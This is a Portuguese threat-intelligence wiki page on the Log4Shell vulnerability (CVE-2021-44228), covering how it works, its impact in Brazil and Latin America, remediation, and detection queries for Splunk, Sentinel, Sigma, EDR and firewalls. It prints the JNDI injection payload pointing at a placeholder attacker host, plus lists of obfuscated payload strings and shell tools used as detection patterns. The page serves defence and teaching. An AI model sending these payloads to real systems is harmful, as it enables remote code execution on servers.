# CVE-2021-44228 - Log4Shell
**Log4Shell** é considerada a vulnerabilidade mais crítica descoberta em 2021 e uma das mais impactantes da história da segurança da informação. Afeta a biblioteca de logging [[Apache Log4j 2]], amplamente utilizada em aplicações Java em todo o mundo.
## Visão Geral
{Conteúdo a ser adicionado.}
## Descrição Técnica
```mermaid
graph TB
A["🔍 CVE-2021-44228 · CVSS 10.0<br/>Log4Shell - Log4j 2 JNDI RCE"] --> B["🎯 Injetar String Maliciosa<br/>User-Agent, campo de login<br/>qualquer input logado"]
B --> C["💥 JNDI Lookup Acionado<br/>${jndi:ldap://atacante.com/x}<br/>Log4j faz requisição de saída"]
C --> D["🔧 Carregar Classe Java<br/>Servidor LDAP malicioso<br/>responde com classe remota"]
D --> E["🔧 RCE no Servidor Java<br/>Execução de código arbitrário<br/>qualquer privilégio do processo"]
E --> F["💀 Comprometimento Total<br/>Instalação de backdoor<br/>Cryptominer, Ransomware, APT"]
classDef critical fill:#c92a2a,stroke:#c92a2a,color:#fff
classDef exploit fill:#e67700,stroke:#e67700,color:#fff
classDef postexploit fill:#495057,stroke:#343a40,color:#fff
classDef impact fill:#1864ab,stroke:#1864ab,color:#fff
class A critical
class B,C exploit
class D,E postexploit
class F impact
```
A falha reside no mecanismo de lookup JNDI (Java Naming and Directory Interface) do [[Log4j 2]]. Ao registrar uma string controlada pelo usuário contendo uma sequência como `${jndi:ldap://atacante.com/exploit}`, o Log4j realiza uma requisição de rede para o servidor específicado, carregando e executando código Java remoto.
- **Vetor de ataque**: Remoto, sem autenticação, sem interação do usuário
- **Pré-requisito**: Qualquer campo logado pela aplicação (User-Agent, cabeçalhos HTTP, parâmetros de formulário)
- **Execução**: Carregamento de classe Java via JNDI LDAP, RMI ou DNS
## Impacto Global
A exploração massiva foi detectada em poucas horas após a divulgação pública em 9 de dezembro de 2021. Milhões de servidores ao redor do mundo foram expostos imediatamente, afetando desde serviços em nuvem (Amazon AWS, Microsoft Azure, Cloudflare) até sistemas empresariais críticos.
Grupos de ameaça de múltiplas nações exploraram ativamente a vulnerabilidade:
- [[g0096-apt41|APT41]] (China) - exploração em campanhas de espionagem industrial
- [[g0032-lazarus-group|Lazarus Group]] (Coreia do Norte) - foco em extração financeira
- [[g0016-apt29|APT29]] (Rússia) - espionagem governamental
## Impacto no Brasil
O [[_intel/sources|CERT.br]] emitiu alerta crítico logo após a divulgação. Empresas dos setores [[financial]], [[government]] e [[telecommunications|telecomúnicações]] foram afetadas. A alta adoção de sistemas Java no Brasil amplificou o impacto. Registros de tentativas de exploração contra infraestrutura brasileira foram documentados em dezembro de 2021.
## Contexto LATAM
> [!latam] Impacto Brasil e América Latina
> O Brasil e a América Latina sofreram impacto proporcional ao uso global de Java, com amplificação pelo ecossistema de e-commerce, fintech e sistemas legados governamentais construídos sobre frameworks Java. Grupos de ransomware e cryptominers direcionaram ativamente infraestrutura LATAM nas semanas seguintes à divulgação.
>
> Organizações brasileiras nos setores **financeiro** (core banking em Java), **governo** (sistemas SEI, SIAFI e outros baseados em Java) e **tecnologia** foram as mais expostas. O CERT.br documentou varreduras massivas contra infraestrutura brasileira a partir de 10 de dezembro de 2021 - menos de 24 horas após a divulgação pública. Mesmo em 2026, sistemas Java legados não atualizados no Brasil ainda apresentam risco residual de Log4Shell.
## Variantes e CVEs Relacionadas
| CVE | Descrição | CVSS |
|-----|-----------|------|
| [[cve-2021-45046\|CVE-2021-45046]] | Bypass do patch inicial (Log4j 2.15.0) | 9.0 |
| [[cve-2021-45105\|CVE-2021-45105]] | DoS no Log4j 2.16.0 | 7.5 |
| [[cve-2021-44832\|CVE-2021-44832]] | RCE com configuração maliciosa | 6.6 |
## Remediação
1. **Atualizar** para Log4j 2.17.1+ (Java 8), 2.12.4+ (Java 7) ou 2.3.2+ (Java 6)
2. **Mitigação temporária**: definir `log4j2.formatMsgNoLookups=true` ou remover a classe `JndiLookup` do classpath
3. **WAF**: bloquear padrões `${jndi:` em todas as entradas
4. **Monitoramento**: buscar requisições LDAP/DNS anômalas originadas de servidores de aplicação
## Referências
- [Apache Log4j Security Advisory](https://logging.apache.org/log4j/2.x/security.html)
- [CISA Log4Shell Guidance](https://www.cisa.gov/log4j)
- [CERT.br Alerta Log4Shell](https://www.cert.br/)
- [LunaSec Blog - Original Disclosure](https://www.lunasec.io/docs/blog/log4j-zero-day/)
## Relações
- Explorada em [[operation-pawn-storm|Operation Pawn Storm]] (variantes)
- Técnica relacionada: [[t1190-exploit-public-facing-application|T1190 - Exploit Public-Facing Application]]
- Técnica de execução: [[t1059-command-scripting-interpreter|T1059 - Command and Scripting Interpreter]]
- Afeta setor: [[financial]], [[government]], [[technology]]
- Grupos exploradores: [[g0096-apt41|APT41]], [[g0032-lazarus-group|Lazarus Group]], [[g0016-apt29|APT29]]
---
## Detecção e Resposta
> [!warning] Aviso sobre as regras abaixo
> As regras e consultas a seguir são **exemplos e pontos de partida**. Devem ser revisadas,
> testadas e adaptadas ao seu ambiente específico antes de serem implantadas em produção.
> Falsos positivos e negativos são esperados - tuning contínuo é necessário. Valide sempre
> contra sua telemetria antes de ativar alertas.
### Splunk SPL
Detecção de payloads JNDI em campos HTTP - extrai o padrão `${jndi:` de headers e body, correlacionando com conexões de saída para o host extraído (indicador de exploração bem-sucedida). Fonte: Splunk Threat Research Team:
```spl
| from datamodel Web.Web
| rex field=_raw max_match=0 "[jJnNdDiI]{4}(\:|\%3A|\/|\%2F)(?<proto>\w+)(\:\/\/|\%3A\%2F\%2F)(\$\{.*?\}(\.))?(?<affected_host>[a-zA-Z0-9\.\-\_\$]+)"
| join affected_host type=inner [
| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic by All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| rename dest AS affected_host]
| fillnull
| stats count by action, dest, dest_port, http_user_agent, http_method,
http_referrer, site, src, url, url_domain, user
```
Detecção simples de payloads `${jndi:` em logs de acesso HTTP (User-Agent, parâmetros, cabeçalhos):
```spl
index=* sourcetype=access_* OR sourcetype=iis OR sourcetype=apache
| search "${jndi:" OR "${${" OR "%24%7Bjndi" OR "jndi%3A" OR "${lower:j"
| table _time, src_ip, uri, useragent, referer
| sort -_time
```
Detecção de novas conexões de saída para LDAP (porta 389/636) ou RMI (1099) oriundas de servidores Java - indicador de resolução JNDI bem-sucedida:
```spl
index=* (dest_port=389 OR dest_port=636 OR dest_port=1099)
| stats earliest(_time) as firstTime latest(_time) as lastTime count by src_ip dest_ip dest_port
| eval isOutlier=if(firstTime >= relative_time(now(), "-7d@d"), 1, 0)
| where isOutlier=1
| convert timeformat="%Y-%m-%dT%H:%M:%S" ctime(firstTime), ctime(lastTime)
```
Fonte de dados requerida: Web datamodel (Splunk CIM), logs de acesso HTTP (Apache/Nginx/IIS), Network_Traffic datamodel (firewall/proxy logs).
### Microsoft Sentinel (KQL)
Detecção de padrões JNDI em User-Agent e parâmetros HTTP via Azure Sentinel - baseado na regra oficial da Microsoft para CVE-2021-44228:
```kql
let log4jIndicators = dynamic(["${jndi:", "${${", "%24%7bjndi", "jndi%3a", "${lower:j", "${upper:j"]);
CommonSecurityLog
| where TimeGenerated > ago(1d)
| where RequestURL has_any (log4jIndicators)
or AdditionalExtensions has_any (log4jIndicators)
or RequestClientApplication has_any (log4jIndicators)
| project TimeGenerated, SourceIP, DestinationIP, RequestURL,
RequestMethod, RequestClientApplication, DeviceVendor, DeviceProduct
| order by TimeGenerated desc
```
Detecção em processos - JNDI patterns em command lines (pós-exploração):
```kql
DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine contains "jndi"
and (ProcessCommandLine contains "ldap" or ProcessCommandLine contains "rmi"
or ProcessCommandLine contains "dns" or ProcessCommandLine contains "http")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
```
Inventário de dispositivos com Log4j instalado (TVM):
```kql
DeviceTvmSoftwareInventory
| where SoftwareName contains "log4j"
| project DeviceName, SoftwareName, SoftwareVersion
| order by SoftwareVersion asc
```
Tabela(s): `CommonSecurityLog` (WAF/proxy/firewall via CEF), `DeviceProcessEvents` (MDE), `DeviceTvmSoftwareInventory` (Defender TVM).
### Sigma Rule
```yaml
title: Detect CVE-2021-44228 Log4Shell Exploitation Attempt
id: a10a0ff5-95a8-4c12-9b6a-1343e5f97e1b
status: experimental
description: >
Detecta tentativas de exploração de CVE-2021-44228 (Log4Shell) - payloads JNDI
injetados em campos HTTP como User-Agent, Referer, cabeçalhos customizados ou
body da requisição. Inclui variantes obfuscadas com ${lower:}, ${upper:} e
URL encoding para contornar WAFs e detecções baseadas em assinatura simples.
references:
- [[t1190-exploit-public-facing-application]]
- https://www.cisa.gov/log4j
- https://logging.apache.org/log4j/2.x/security.html
- https://github.com/SigmaHQ/sigma/blob/master/rules-emerging-threats/2021/Exploits/CVE-2021-44228/web_cve_2021_44228_log4j.yml
logsource:
category: webserver
product: apache
detection:
selection_jndi_direct:
http_user_agent|contains:
- '${jndi:'
- '${${:'
http_request_body|contains:
- '${jndi:'
- '${${:'
selection_jndi_obfuscated:
http_user_agent|contains:
- '${lower:j'
- '${upper:j'
- '${env:'
- '${sys:'
http_request_headers|contains:
- '${jndi:'
- '${lower:'
- '${upper:'
condition: selection_jndi_direct or selection_jndi_obfuscated
falsepositives:
- Scanners de segurança legítimos testando a presença de Log4Shell
- Ferramentas de pentest internas (Burp Suite, nuclei)
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059
```
### EDR
#### CrowdStrike Falcon
Custom IOA Rule (Behavioral):
Detectar processos filhos anômalos spawned por aplicações Java - indicador de RCE bem-sucedido via Log4Shell. Criar regra de Custom IOA:
```
Process Name Pattern: java.exe OR java
Child Process Name: cmd.exe, powershell.exe, sh, bash, curl, wget, nc, ncat, python, python3
Command Line Contains (Child): -enc | -encodedcommand | base64 | /bin/bash | curl http | wget http
```
Threat Graph Query (Falcon Event Search - identificar processos filhos de Java):
```
index=main sourcetype=ProcessRollup2* event_simpleName=ProcessRollup2
| search ParentBaseFileName IN ("java", "java.exe")
| stats dc(aid) as uniqueEndpoints, count(aid) as execCount by event_platform, ParentBaseFileName, FileName
| where NOT FileName IN ("jspawnhelper", "who", "users", "javaws")
| sort -execCount
```
#### SentinelOne
Deep Visibility Query - identificar processos filhos de Java suspeitos (indicador de RCE via Log4Shell):
```
ObjectType = "Process" AND
(ParentProcessName ContainsCIS "java") AND
(TgtProcessName In ("cmd.exe", "powershell.exe", "bash", "sh", "curl", "wget",
"nc", "ncat", "python", "python3", "perl"))
```
#### Microsoft Defender for Endpoint (MDE)
Advanced Hunting (KQL) - processos filhos anômalos spawned por Java (RCE pós-Log4Shell):
```kql
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("java.exe", "java")
| where FileName in~ ("cmd.exe", "powershell.exe", "bash", "sh", "curl", "wget",
"nc", "ncat", "python", "python3", "perl", "whoami", "id")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId
| order by Timestamp desc
```
### Firewall / Network
#### Palo Alto Networks (PAN-OS)
Bloquear padrões `${jndi:` em todas as requisições HTTP/HTTPS inspecionadas via SSL/TLS decryption. Configurar URL Filtering e Threat Prevention para bloquear callbacks LDAP/RMI/DNS de saída não autorizados oriundos de servidores de aplicação.
App-ID / Threat ID relevante: O WildFire e o Threat Prevention do PAN-OS possuem assinaturas dedicadas para Log4Shell. Verificar no Palo Alto Networks Threat Vault as entradas com referência `CVE-2021-44228` e garantir que o perfil de Vulnerability Protection esteja em modo `block` para severity `critical` e `high`.
#### Fortinet FortiGate
Habilitar IPS e Web Application Firewall em modo inline. O FortiGuard Labs públicou cobertura específica para Log4Shell.
IPS Signature: `Apache.Log4j.Error.Log.Remote.Code.Execution` - aplicar em modo `block` em todos os profiles de inspeção voltados para tráfego HTTP/HTTPS de entrada. Verificar também a assinatura `Apache.Log4j2.JNDI.Injection` no FortiGuard Intrusion Prevention database.